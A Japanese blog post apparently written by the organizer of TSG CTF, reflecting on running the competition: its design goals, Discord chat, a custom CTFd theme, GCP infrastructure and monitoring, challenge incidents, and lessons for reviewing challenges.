まあ、これはコンセプトと言うよりは大前提だと思いますが、やはりCTF大会をCTF大会として「良いもの」にする上で最も重要なことだと思いますし、先述したとおり「良い問題」を作るというのは熟練したCTFプレイヤーでないとなかなか難しいです。我々としても問題のクオリティに関しては一切妥協したくなかったので、リリースする問題に対して必ず複数人によるレビューを加え、クソ問的要素をなるべく排除するようにしました。結果的にボツになってしまい日の目を見なかった問題も複数問あります。

なおCTF界隈では有名な、クソ問を出題することを避けるためのドキュメントとしてpwning/docsの Suggestions for Running a CTF がありますが、博多市は開催にあたってこの文書を熟読しました。現在となってはいささか古い記述や実状に即していないアドバイスもありますが、実際に非常に有用なことも書いてあるので、みなさんもCTFの作問をする機会があれば一度読んでおくべきだと思います。

世界をターゲットに

次に重要な点として、TSG CTF を国際大会にするということです。

先も言ったとおり、日本のCTFの中には主に国内のユーザーをターゲットとし、CTFTimeへの登録なども行わない「国内大会」も存在しますが、一般的な事実として、世界は広いです。下に記す「中~上級者向けの大会にする」というコンセプトも相まって、やるからには世界を相手にしたいと思いましたし、我々にはそれを行う能力と義務があると思いました。

なので、スコアサーバーのインターフェイスや特設サイトの言語、公式からのアナウンスなど、全て第一言語を英語とし、サポートも英語で行うことを原則としました。幸いにしてTSGでは英語が堪能とは言わずともそこそこできるメンバーが大半だったため、これは大きなハードルにはなりませんでした。

中~上級者を対象に

これは主に我々のモチベーションによるものです。我々TSGのメンバーにとってCTFを主催するモチベーションは、「我々の作った面白い問題を解いて楽しんでもらいたい」というものであり、「セキュリティを啓蒙したい」とか「CTFを布教したい」といった類のものではありませんでした。面白い問題というのは往々にして難易度が高い (必ずしもそうではないですが) ため、このあたりは自然に決まっていったといえます。

結果として大会に参加した感想として「難しすぎた」「全く解けなかった」という声が散見されたのはいささか反省すべき点ではあります。これらはどちらかというと事前の告知の問題なので、仮に次回以降があるとしても全体的に難易度を下げて初心者向けの大会にする、ということは無いと思います (簡単な問題をいくらか増やして、初心者でも何問かは解けるようにする、というのはあるかもしれません)。

尖った問題を出題する

これはどちらかと言うと僕の個人的な嗜好の問題です。「真面目にセキュリティを勉強していれば解ける問題」「その道の専門家であれば解ける問題」よりも、「問題を開いた瞬間に『なんじゃこりゃ』って思ってもらえる問題」「その場で特殊知識を仕入れて新たな解決手段を導く問題」のほうを僕は好む傾向があります。例えば今年のPCTFのTriggeredなんかはすごく好きです (解けませんでしたが⋯⋯)。

なので、TSG CTF もそういった類の問題が多く出題される大会にしようと思っていました。特にTSG内外で何回か口にしたのは「特定のジャンルに縛られない問題、特にMisc問を増やしたい」ということです。MiscジャンルといえばCTFにおいてはどちらかというと「エトセトラ」といった扱いが多く、あまり注目されないジャンルかと思いますが、個人的にはCTFの総合格闘技的な側面を強く象徴するジャンルだと思っています。

結果的にはMisc問題はあまり増やすことができず2問しか出題できませんでしたが、どちらも良問だったと思います。

チャットコミュニケーションのDiscord化

CTFにおいては公式によるチャットサーバーを設け、運営によるサポートや参加者同士の軽いコミュニケーションなどが行われるのが慣例ですが、ほとんどの大会ではこのチャットサーバーにIRCを用いています。

が、今回の TSG CTF ではこの慣例を敢えて破り、Discord上にチャットサーバーを設けることにしました。この判断のもとになったのは主に、同じくDiscordを採用したHarekazeCTFの開催記に「登録や使い方についても特に問題は起こりませんでした」とあったためです。

結論から言うと TSG CTF においても、Discordを採用しての満足度は非常に高く、決断を下して良かったと感じています。しかし、大会終了後、数名のプレイヤーから「DiscordはIRCに劣っている」という旨の意見を頂戴しました。

これらの意見に関してですが、主催側の経験から言わせてもらうとはっきり言って理解に苦しみます。プレイヤーのUXにも係ることですので、ここではっきりと主張しておきたいと思います。

今回IRCをやめてDiscordを採用したことには、実際に多くの利点がありました。

  • Discord参加者がサーバーに参加する以前の発言を閲覧することができる
  • 誰が主催者なのか、つまり問題についての質問を誰に投げればいいのか一目で分かる
  • チャンネルごとに話題を切り分けることができる
    • TSG CTF の場合、英語でのコミュニケーション、日本語でのコミュニケーション、運営からの通知の3つのチャンネルで運用しました。これもHarekazeCTFにならったものです。
  • お知らせチャンネルに投稿できるユーザーを権限で切り分けることができる
  • 接続時に使用したIPアドレスを容易に秘匿することができる
  • (今回は使用しませんでしたが) 必要に応じてDiscordサーバーの認証レベルを引き上げてスパム対策を講じることができる
  • リアクションやリンクの展開などモダンなチャットコミュニケーションの機能を使用することができる

個人的には、一番上の「参加する以前の発言を閲覧することができる」というのが特に大きいと考えています。僕はIRCでの会話はなんであれCTFを解く際の重要なヒントになると考えているので (なので博多市はTSGでもIRC監視記録係のような役割をしています)、CTF開始時点でIRCに参加していたか? というような、問題に非本質な部分で参加者間の情報の格差が生じるのがとても嫌でした。おそらく多くのCTFにおいて「IRCに参加してフラグを得る」という半ば強制的にIRCに参加させるような問題を採用しているのも同じような理由かと思いますが、絶対的な意味でCTFを公正な「競技」にするためにはIRCはあまりに非力だと思います。ここは賞金を出す立場でもある以上絶対に譲れない部分でもあります。

一方で、IRCを捨てたことで失ったものも確かにあると思います。TSG内でも協議しましたが、特に大きいと思われるのは「アカウントの使い捨て感」でしょう。DiscordもIRCも名前を入力すると仮アカウントが発行されて入室できるようになるのは同じですが、Discordの場合はCookieが生きている限り同じ仮アカウントが使い回されるなど、アカウントの「強度」がやや違います。IRCではサーバーから切断するとチャンネルのメンバー一覧からも抹消されて煙のようにいなくなるのも、この意味では好ましいかもしれません。

これは純粋に参加者の気持ちの問題なので、上で挙げたような利点と総合してプレイヤー側から評価して貰う必要があると私は考えます。今回、CTF終了直前にSurveyを設け、プレイヤーにアンケート調査を行いましたが、その中に「Discordでのユーザー体験はいかがでしたか?」という内容の設問がありました。結果は以下の通りです。

英語アンケート

日本語アンケート

アンケートに回答していただいたのは最後までCTFに参加していただいたプレイヤーの皆さん、というバイアスはあるものの、それを加味しても全体で好印象を (特に海外のユーザーから) 頂いているように思います。

たしかに、IRCというツールの「ハッカー感」はCTFというイベントには似つかわしいと僕も思いますし、今でも多くのエンジニアコミュニティが稼働している、エンジニアにとっての「ホームグラウンド」であることは重々承知です。しかしことこのようなコミュニケーションを取る場としては、IRCが時代遅れの産物であることは論を俟たないでしょう。後述するように、現在次回開催の目処は立っていませんが、もし次回があるとすれば同じようにDiscordを選択する (あるいはIRCともDiscordとも違う選択肢を検討する) ことは断言できます。

Writeup提出の義務化

今回の TSG CTF では、賞金獲得圏の上位チームにWriteupの提出を義務付け、さらにその内容を一般に公開しました。これは最近のCTFではよくある話だと思いますが、とりわけ直前に開催されたPCTFの様子を参考にした部分が大きいです。

賞金を渡す上での最低限の認証⋯⋯という側面もありますが、どちらかというと、我々が読み返して学びを得たいのと、ちゃんと (解いた人による) Writeupが存在する過去問として TSG CTF の問題を世に残しておきたかったというのが大きいです。なので、全チームのWriteupが提出される前に作問者側のWriteupを公開することに関しても躊躇いはありませんでした。

解答した全問題に対してWriteupを書くのは入賞者には結構な負担となったと思いますが、やはり問題を作った側からは見えてこない部分も多いので (今回のHarekaze問とか)、簡単にでも良いので入賞者の人々にちゃんとWriteupを書いてもらうというのは非常に良かったと思っています。Writeupを提出してくださったチームのみなさんには改めて感謝の意を表したいと思います。

賞金のBitCoin送金

今回のCTFでは、優勝者への賞金の送金手段としてBitCoinを採用しました。これは主に海外への送金を考えてと、送金の公的証明が得られるのを考えてのことですが、あまり他の送金手段と真剣に比較したわけではないので正直良い選択だったのかわかりません。実際に送金を行った感想として、BitCoinの送金の仕組みが意外とややこしい (ウォレットアドレスにもSegWitアドレスなどいくつか種類があったり、取引所がそれに対応していたりいなかったり) のと、手数料がかなり高いのが若干ネガティブに感じられました。

開催までに行ったこと

スコアサーバーの技術選択

CTFを開催するためには、当然ながらスコアサーバーが必要不可欠です。CTFの問題と並んでCTFのキモになる部分でもあるので、これをどうするかはかなり悩んだり相談したりしました。世の中にはCTF用のオープンなスコアボード実装が多く存在していますが、いろいろと試してみた結果、結局、最もメジャーな実装であるCTFdを採用することにしました。これは主に以下のような理由です。

  • 最もよく使用されているCTFスコアサーバー実装であり、安全性を高める観点からも好ましいため
  • 過去行ったライブCTFでもCTFdを立てた経験があるため
  • CTFdのバージョンアップにより比較的リッチなAPIが実装されており、後述するSPA化が容易であること

ただ、皆さんご存知のCTFdのあのデフォルトのテーマを採用するのは、ひと目で「こいつCTFd使ってるな」となるユニクロ的ダサさがあるなと思ったので、できれば避けたいと思っていました。そこで、CTFdのテーマ機能を利用し、見た目だけでもCTFdっぽくない感じにすることにしました。結果できあがったのが、みなさんご覧になったであろうこちらのスコアサーバーの画面です。

実装とデザインはわたくし博多市が全面的に行いました。開催直前に突貫で作った割には比較的いい感じの見た目にできたのではないかと思っています。

CTFdカスタムテーマを支える技術

こちらのカスタムテーマですが、せっかくなので現代的な構成にしたいのと、同時に僕自身が得意とする技術分野でもあったことから、Nuxt.jsのSPAモードで実装してあります。

CTFdのテーマはJinja2のテンプレートとして実装されていますが、CTFd v2 ではアプリケーション駆動に必要な JSON API が非常に充実していることもあり、TSG CTF のテーマではテンプレートに渡されるパラメーターを全て無視し、サーバーとの通信は全て JSON API 越しに行っています。(ちなみに、CSRFトークンだけAPI越しに取得できなかったのでテンプレートに直接埋め込んであります)

API越しに取得したデータはNuxtの流儀に乗っ取りVuexにストアされ、VueのバインディングによってDOMの内容が動的に書き換わるようになっています。これによって、結果的にCTFdの堅牢性とSPAの軽量さを兼ね備えたスコアサーバーを提供できたと思っています。

また、CTF終了後、ある程度のSSR化実装とNuxt.jsのgenerate機能によって比較的簡単に静的サイトの生成を行うことができました。現在もスコアサーバーは静的サイトの状態で公開されていますが、これはNuxt.jsの恩恵に預からなければ実現不可能だったと思います。実装の過程で各種Vueライブラリを大幅に活用できましたし、やはり書きやすさの面でも機能面でもNuxtは非常に優れたフレームワークだと感じました。

今回実装したカスタムテーマのソースコードはこちらで公開しています。

github.com

問題添付ファイル

今回の TSG CTF では、CTFd v2 で導入された新しい機能をふんだんに使わせてもらっていますが、そのうちの一つが添付ファイルのS3アップロード機能です。

TSG CTF の開催直前に行われたSECCON令和CTFが開始直後にサーバーダウンしたことを受けて、サーバー負荷に対しては我々としてもかなり慎重になっていました。その過程で、特に問題の添付ファイルのダウンロードの負荷だけでも下げたいと思ったため、アプリケーションを通さず負荷が小さいS3バックエンドを利用することにしました。

ちなみに今回のインフラ構成では全面的にGCPを利用していますが、実はCTFdの添付ファイルのアップロード先にも (S3ではなく) Google Cloud Storage を用いています。CTFdからのアクセスにはS3互換APIを用いました。最終的にソースコードを書き換える必要もなく、特に問題もなくS3バックエンド機能を利用できたため非常に満足度が高かったです。

注意点として、Google Cloud Storage でバケットを公開するとデフォルトで Storage Obejct Getter 権限が付与されますが、この権限にはstorage.buckets.list権限が付与されているためAPIを叩くとバケットのファイル一覧を取得することができてしまいます。特にCTFdのバックエンドサーバーとして利用した場合はまだ公開されていない問題のファイルが漏洩してしまうため、必ずstorage.buckets.list権限を外した状態で公開しましょう。

問題のスコア配分

今回の TSG CTF では、近年のCTFで主流の、回答したチーム数が多いほどスコアが下がる動的スコアを採用しています。このシステムはオリジナルの「ジョパディ!」のルールからは逸脱していますが、やはり作問者側から問題の難易度を事前評価することの難しさを考えると、「難しい問題ほど得点が高い」という原則を遵守する上で最もフェアなシステムなのではないかと思います。

ちなみに、気づいた人も多いと思いますが、今回出題した問題のスコアは最後まで初期スコアからほとんど下がりませんでした。

全体的に回答チームが少なかったというのもありますが、例えば11チームが回答した Super Smash Bros でも 500pts → 496pts と、初期スコアから1%も変動していません。ある程度下がっているとは言え一般的なCTFと比べてあまりに下げ幅が小さすぎるという意見もあるかと思いますが、これは主に我々の事前チェックが不十分だったためです。スコアの計算にはCTFdの動的スコアプラグインを利用したのですが、このプラグインは回答チーム数に対して線形に減少するように作られておらず、最初は緩やかに減少し、最終スコアに近づくにつれて急激にスコアが下がるようになっています。

今回は全問題に対して {初期スコア = 500pts, 最終スコア = 100pts, 最終スコアまでのチーム数 = 100チーム} という設定を行いましたが、設定に対して最初の下がりペースが我々の予想以上に緩やかでした。「線形に減少するわけではない」という特性を把握した上で、事前に計算式に手を加えるなどの対策をしておくべきだったと反省しています。

インフラ

前述の通り、今回の TSG CTF のインフラにはGCPを用いました。スポンサーのFlattさんのおかげでインフラ用の予算にはかなり余裕があったので、我々としてもかなり自由にいろいろやることができました。具体的な取り組みの例を以下に紹介します。

アクセス監視

個人的に、CTFに参加するプレイヤーは歴戦のならず者集団だと思っている (褒め言葉です) ので、怪しいアクセスの監視に関しては通常の運用以上に気を使っています。このあたりは主に本大会のインフラ担当である@kcz146が担当してくれました。

大会中、Discordで以下のようなアナウンスを何度か目にしたと思います。

今回の大会では、サーバーに対するアクセスに敏感にかつ精度よく反応することができました。大会中は、GCP Computing Engine へのアクセスをStackdriverを通して可視化し、以下のような画面を常にモニタリングしていました。

グラフの1本の線が1IPアドレスのアクセス数を表しています。通常のアクセス時には上のようにアクセスはまばらになりますが、DoSまがいの異常アクセスが続いた場合はグラフが以下のように跳ね上がります。

実際の運用では、このダッシュボードの情報をもとにDiscord上でアナウンスを行ったりファイアウォールの設定を変更したりしました。結果、(問題の構成について後述するようないくつかの反省点はあるものの) 不正なアクセスに関して大きなトラブルもなく無事に大会を終えることができました。

負荷監視・死活監視

サーバーへのアクセスとともに、サーバー自体の負荷についても同様に監視を行いました。負荷監視に関してはmackerelを採用しました。

Mackerelでは上の画面のようなダッシュボードで自由にレイアウトを変更することができ、ひと目でサーバーの状態がわかるようになっています。今回は全体で4台のサーバーでオペレーションを行ったので、上のようなダッシュボードを作成して常にモニターに映し出していました。

また、Dockerイメージを用いて、クラウド環境でも簡単に監視環境を導入することができました。サーバー監視にはあまり多くの労力を費やしたくなかったため、この点でもMackerelは非常に優秀なサービスであるように感じました。

また、いくつかの問題に関しては別途死活監視を行っています。特に@y0n3uchyおよび@moratorium08作成の問題に関しては定期的にソルバスクリプトを走らせて、問題として回答可能かどうかを監視してSlackに状況を通知するようになっていました。このあたりは彼のSECCONでの運営経験が大いに活きています。

(ちなみに SECCON Beginner CTF での各問題のステータスバッジがすごく良かったので、今後パクらせてもらうかもしれません)

Docker

TSG CTF では、作問からデプロイまでDockerを大いに活用しています。作問時にはdocker-composeとして実行可能な状態で提出してもらい、どの問題も1コマンドで立ち上げられるように準備しました。環境の異なる問題を大量に作成する上で、やはりDockerイメージによる仕組みは非常に便利ですし、本番環境で動かないなどのトラブルもなく非常に安定してデプロイすることができました。

一方で、CTFの運営においてDockerをランタイム環境として使用することはセキュリティの観点から賛否両論あるかと思います。これに関してはgVisorやVMの採用なども含めて今後もさらに検討していくべき事項だと思いますが、特に今回の TSG CTF で行った対策として、問題のデプロイ先の環境にGoogleが提供する Container-Optimized OS を採用しました。

このOSはDockerへのセキュリティ的な懸念からシステムやファイアウォールに様々な改善が加えられたOSであり、特に/tmpと/home以外のほとんどのファイルシステムがread-onlyでマウントされ、またDocker以外の実行ファイルの実行もできないようになっているため、仮にDockerがjailbreakされても破壊的な操作ができないようになっています。

これに伴いdocker-composeの立ち上げやインストールなどの手間が若干面倒になりますが、個人的にはこのあたりがCTFという特殊な大会を運営する上で丁度いい妥協点なのではないかと思いました。

ロードバランス

上で述べたとおり、今回の TSG CTF ではサーバーの負荷に関してだいぶ気を配っていたので、本番では負荷分散のため複数台構成によるロードバランシングを構成しました。これには Google Computing Engine の Load Balancer 機能を、データベースの集約には Google Cloud SQL を使用しています。

本番中、複数台で捌いていたのは特に高負荷が予想される大会開始から数時間程度のみで、それ以外の時間は (コスト削減のため) 負荷を見ながらインスタンスを減らしてゆき、最終的には一台のサーバーで運用しました。

この手のロードバランスの調整や新規インスタンスの投入は通常かなりの手間がかかるものですが、GCPのロードバランス機能を用いることで特に何も考えずWebコンソールからポチポチするだけでクラスターが構成できましたし、(今回そのような事態にはなりませんでしたが) 仮にスコアサーバーにDoS並のアクセスがあったとしても即座に新規インスタンスを立てて投入できる体制になっていました。まさにIaaS様々といった感じです。

裏話として、実はこのクラスタ構成をする上でいくつかサボった点がありまして、今回の運用ではCTFdの公式リポジトリで配布されているdocker-composeの構成をほぼそのまま流用しているため、セッションストアとしても利用しているRedisを一台に集約するのをサボっていました。ロードバランサーではアクセス元のIPアドレスごとに固定のサーバーが割り当てられるように設定していたので、アクセスごとにセッションが切れるということはなかったはずですが、運営側で新規サーバーの投入や変更ごとにセッションが切れるのが頻発したかと思います。ひょっとするとたびたびログアウトさせられてストレスになったかと思いますが、今後はRedisサーバーを集約するなどして正しく構成していきたいなと考えています。

プッシュ通知

今までCTFプレイヤーとしてCTFに参加してきた経験から、「新しい問題がリリースされたのにしばらく気づかない」という問題に悩まされ続けてきました。そこで TSG CTF では、新しい問題をリリースしたという情報がなるべく即座に全プレイヤーに行き渡るよう、しつこく通知を送る仕組みを構築しようと考えていました。

その中でも特に挑戦的な試みとして、今回の TSG CTF ではスコアサーバーからWebプッシュを配信しました。CTFd自体にも通知を表示する機能がありますが、それと併用してOneSignalという通知プラットフォームを利用し、問題を追加するごとにブラウザレベルの「ちゃんとした」WebPushがモバイルでもデスクトップでも通知されるようになっていました。

ただ、サイトにアクセスしてすぐに「通知を許可しますか?」のような画面が表示されるのに面食らった人も多いかもしれません。実際OneSignalのコンソール画面から確認できる通知を有効にした人数は、CTF終了時点で248人と、1チームあたり平均0.5人程度しか通知を有効にしていませんでした。このあたりは一般的な通知戦略と同じだと思いますが、ページを表示してすぐに通知許可を求めず、ユーザーが任意に通知を許可できるようにするなどの仕組みが必要だと感じました。

また、スコアサーバーでWebプッシュを送信するというのが一般的でないのも通知有効化率が低い遠因だと思われるので、CTFプレイヤーとしてもこのような仕組みが世の中にも広まって欲しいと願う次第であります。

ちなみに TSG CTF ではこのWebPushを含め、スコアサーバー、Twitter、Discordと同一の通知を4箇所に配信しています。手作業でこれらを管理するのは大変なので、簡単なスクリプトを書き、通知文を (英語と日本語で) 書けば自動で通知を送信してくれる仕組みになっています。

当日の流れ

⋯⋯というようなことを当日までに行ったのですが、ゴールデンウィーク効果もあって直前は比較的余裕のあるスケジュールで本番を迎えることができました。CTF運営者として24時間状況を監視しないといけないということもあり、本番直前はよく睡眠を取り、東大の本郷キャンパスに場所を借りて数名で泊まりがけの運営体制を取りました。メンバー全員が同じ大学の大学生だとこういう時に集まるのが容易なのでありがたい限りです。

直前に問題の最終チェックを行い、スコアサーバーへの問題登録、ロードバランスの設定、アクセス監視の設定などを行い、CTF開始後はDiscordでの応対、開放する問題の選定などを集まったメンバーで行いました。

(後半はだいぶ暇だったので主に@satosが持ち込んだ Baba is You で遊んでました。)

トラブル: Obliterated File

今回の TSG CTF, 全体を通して大きなトラブルはなかったと思いますが、いくつかの問題では我々の想定していない事態に発展したものもあります。そのうちの1つが Obliterated File でした。

詳しくは作問者によるWriteUpを参照してもらいたいのですが、一言で言うとこの問題はGitリポジトリファイルシステム内を調査する問題で、Git上から完全に消去されたと覚しきファイルを復元せよというものです。こちらの問題では実際には適切にコミットログからフラグファイルが削除されておらず、想定より容易に辿れるコミットをチェックアウトするだけでフラグが手に入るという、我々の想定外の解法が存在する不備がありました。

問題公開から十数分後、あまりに回答ペースが早いことから不審に思い、運営側で問題の調査を行って発覚しました。不備発覚後、作問者の@taiyoslimeが新たに修正したファイルを新しい問題として公開し、リカバリーを行いました。問題の公開停止や点数差し戻しなどの事態に発展しなかったので大きな問題ではなかったと思いますが、事前にチェックできなかったのは運営側のミスだったと思います。

この問題も他の問題と同じく、事前にテスターによるテストを行っていたのですが、テスターには想定解法で解かれてしまったためこの不備に気づくことができませんでした。我々はどちらかというと「問題のクオリティ」に主眼をおいて問題のテストを行っていたのですが、それ以外にも「想定外の解法が存在しないか」「問題を破壊することができないか」といった運営上の都合にも目を配るべきだと反省しました。

また、この問題はForensicsというより比較的Miscに近い問題ということもあり、特別に得意なメンバーがいたわけではなく、テストがなかなか進まなかったのも今回の不備の遠因ではないかと考えています。そういった意味で、上に挙げたような「尖った問題」を作ることの難しさを感じたとも言えます。

トラブル: Secure Bank

もう一問、Secure Bank という問題でも小さなトラブルがありました。こちらはRubyで書かれた普通のWeb問題なのですが、問題公開からしばらくして「サーバーが重くて繋がらない」というフィードバックがDiscordに多く寄せられました。本大会では上の通りサーバー負荷を常に監視しており、サーバー自体はほとんど負荷が上がっていなかったため訝しんだのですが、問題のページにアクセスしてみると実際にとても重い。

原因は、DoS防止のためアプリケーション中に挿入していたsleep関数の処理待ちによるものでした。問題のアプリケーションはSinatraで記述されていたのですが、通常Sinatraでのレスポンスは同期的に逐次処理されるため、sleepが完了するまで他のリクエストがブロッキングされていたのです。幸い作問者の@kczがRubyを完全に理解していたので、原因を特定したあと彼が急遽Sinatraの外側にpumaサーバーを実装して並列化を行い (512並列 (!) 設定にしました)、大幅にリクエスト処理数を上げることに成功しました。

このあたりもやはり、多くの人がアクセスして初めて発覚する問題ということもあり、事前の問題チェックでは気付きにくいポイントだったなあと感じています。

反省点など

n億回アクセスしたら解けるよ! という問題設定にしない

本大会のアクセス監視全体を通して、DoSまがいの高頻度アクセスが検知されたのは主に Secure Bank に対するものでした。改めて整理すると、この問題の設定は以下のようなものでした。

  • ユーザーは自由にアカウントを作成することができる
  • アカウントを作成するとそのアカウントに100コインが入る
  • アカウントから別のアカウントに送金することができる
  • 100億コイン集めるとフラグが手に入る

お気づきかと思いますが、この問題ではアカウントは自由に作成できるため、特殊なハックなどを行わなくともアカウントを1億個作成して1つのアカウントに100コインずつ送金することでフラグが手に入ります (上に述べたとおりアカウント登録には1秒のsleepが挿入されていましたが、最終的にサーバーで512並列処理を行ったため最大で512倍の速度が出せます)。経験を積んだCTFプレイヤーならば、「24時間の大会で1億回アクセスするのは時間的に現実的でないし、そもそもそのような高頻度アクセスはルールにより禁止されているので想定解法ではないはずだ」と斟酌するところかと思いますが、大会に参加するのは必ずしもそのようなCTFの文化に慣れ親しんだプレイヤーだけではないことを十分に考慮するべきだったと思います。実際、事前の問題チェックにおいても、CTF初心者のTSGメンバーに見せたところ「要するに1億回アクセスすればいいんでしょ?」という反応が帰ってくるなど、CTF初心者にとっては「サーバーの論理的な脆弱性を利用する」というのは非自明な解法なのだと感じました。

このような問題設定がプレイヤーによるDoSまがいの攻撃や、ひいてはアクセスBANに繋がったとも言えるため、ちゃんとCTFに入門したばかりの人の立場にも立って考えて、「◯億回アクセスしたら解ける」というような問題設定はなるべく避ける、あるいはその過程で適切にCAPTCHAを挿入するなどの対策を行うべきだったと感じました。

フラグに解法を記述するのは相応のリスクを覚悟するべき

CTFにおける一般的な慣習として、問題を解いて得られるフラグに、問題の解法のまとめ的な文章を記述するというものがあります。例えば今回の TSG CTF のRECONは、XS-Leaksを利用する問題だったためフラグは TSGCTF{x5_l34k5_4R3_4M421ng} にする、と言った具合です。

この慣習は、作問者としてもプレイヤーとしても、作問者による「ネタばらし」的な側面を持っており非常に楽しいものなのですが、問題に想定外の解法があった場合などはトラブルの元になります。実際、大会中に想定外の解法が発覚した今回の Obliterated File では、直接的な解法ではないものの当初のフラグに解法のヒントになるようなフレーズが含まれていたため、相対的に修正後の問題を解くのが簡単になってしまいました。

それ以外にもフラグがリークする危険を考慮して万全を期すならば、フラグはランダムな文字列などにするべきかもしれませんが、Suggestions for Running a CTF にもある通り、フラグフォーマットは一目で「正しいフラグ」とわかるようなものが望ましいため、悩ましいところです。「良いフラグ」を作るというのは存外に難しいことなのかもしれません。

事前にスコアサーバーへの問題登録チェックまで済ませておく

想定外のトラブルというのは常につきものです。我々としても多くのプレイヤーを相手にしている以上そういったトラブルはなるべくゼロにしたいですし、そのために問題のレビュー、スコアサーバーのバグテスト、負荷の確認など一通りのチェックは行っていたのですが、スコアサーバーへの問題登録だけは事前に行わず、問題公開の直前に行いました。

これについては、オペレーションミスによって公開する予定のない問題が公開されてしまうのを避けたかったのと、問題登録の段階でトラブルになる可能性は低いだろうと踏んでのことだったのですが、実際には一部の問題においてNginXのアップロードファイル制限に引っかかって問題の添付ファイルがアップロードできないというトラブルに見舞われました。

もちろん、そもそものリスクマネジメントとして、どんな場合においても想定外のトラブルというのはつきものですし、それをどこまで事前に勘案するかというのは常にトレードオフかとは思いますが、今回の場合はせめてちゃんとプレイする側に立って問題をダウンロードして解いてフラグを送信できる、というところまで事前に本番サーバーで保証してあげるべきだったかなと思っています。リスク管理、本当に難しいです。

CTF問題のレビューチェックポイント

以上のようなことを踏まえ、我々が今回学んだCTFの問題をテストする際のチェックポイントをまとめると以下のようになります。

  • エスパー問でないか
  • 想定外の解法が存在しないか
  • 問題を破壊することができないか
  • サーバーに過度な負荷がかからないか

その他の気づき

Discordでは英語でのコミュニケーションが主流だった

先述したとおり、今回設けたDiscordサーバーでは、日本語と英語の2言語をサポートし、それぞれでのコミュニケーション用にチャンネルを2つに分けました。結果から言うと、このうち日本語用のチャンネルはほとんど使われず、参加者同士のコミュニケーションの中心は英語で行われていたようです。日本人とおぼしき人たちもだいたいは英語チャンネルにいました。

これに関しては、CTF全体の難易度設定もあって、あまり英語でのコミュニケーションに不慣れな初心者が多く参加する感じではなかったのも原因の一つかなと思います。あまり日本語を話しすぎるのも海外からの参加者に不親切ですし、もし次回開催するならばチャンネルは英語一本に絞ってもいいかもしれません。

問題文について

これは割とどうでもいい話ですが、今回の TSG CTF の問題文、物によってはだいぶふざけた感じになっています。

  • 0000000000000000
    • ja: 天気がいい日に大学で写真を撮ったよ
    • en: I took a photo at university on a sunny day~~
  • OMEGA
    • ja: Ω < ゴロンゴロン(環っかが転がる音)
    • en: A ring in the shape of omega is there...
  • Curved
    • ja: 曲がり角は駐車禁止ですよ?
    • en: If you get curved, then...

だいたい日本語の説明文と英語の説明文が対応してないですし、そもそも問題に対して何のヒントも与えてないので完全にただのお遊びなのですが、終了後のアンケートでは比較的参加者に好評でした。特に日本語の問題文も併記したのが日本語ネイティブにも楽しい感じになってよかったかなと思っています。

今後について

次回開催?

総合的な自己評価として、TSG CTF は大成功だった⋯⋯と思います。ぜひ来年も開催、と行きたいところですが、このままだとリーダーの私やCTFをやるTSGの主力メンバーが大学を卒業してしまうこともあり、現状、次回の開催はかなり不透明な状態になっています。我々としても世の中に楽しいCTFを増やしたいという気持ちは大きいので、今後の TSG CTF 開催に関してはなるべく前向きに検討して行きたいと思います。

今年のSECCONについて

なお、来年の話をする前に今年の話をしておくと、今年の10月に SECCON CTF 2019 の予選が、12月に本戦が開催される予定です。例年、前年度の本戦優勝チームが予選の作問に協力する慣例となっているようですが、先述の通り去年の SECCON CTF で我々が優勝したため、10月に開催される SECCON CTF Quals でTSGからも何問か出題する予定です。こちらも TSG CTF と同じくクオリティに関しては一切妥協せずやっていくつもりなので、皆さんぜひ楽しみにしていてください!

謝辞

細かいことまでつらつらと書いてたらたいへん長くなりました (この記事を書き始めてから2ヶ月が経ちました)。最後に、今回の TSG CTF に協力していただいたTSGのメンバーのみなさんをご紹介します。

また、スポンサーを含め全面的かつ甚大な協力を頂いたFlatt社のみなさん、および TSG CTF に参加していただいたみなさんにも感謝の気持ちが尽きません。本当にありがとうございました!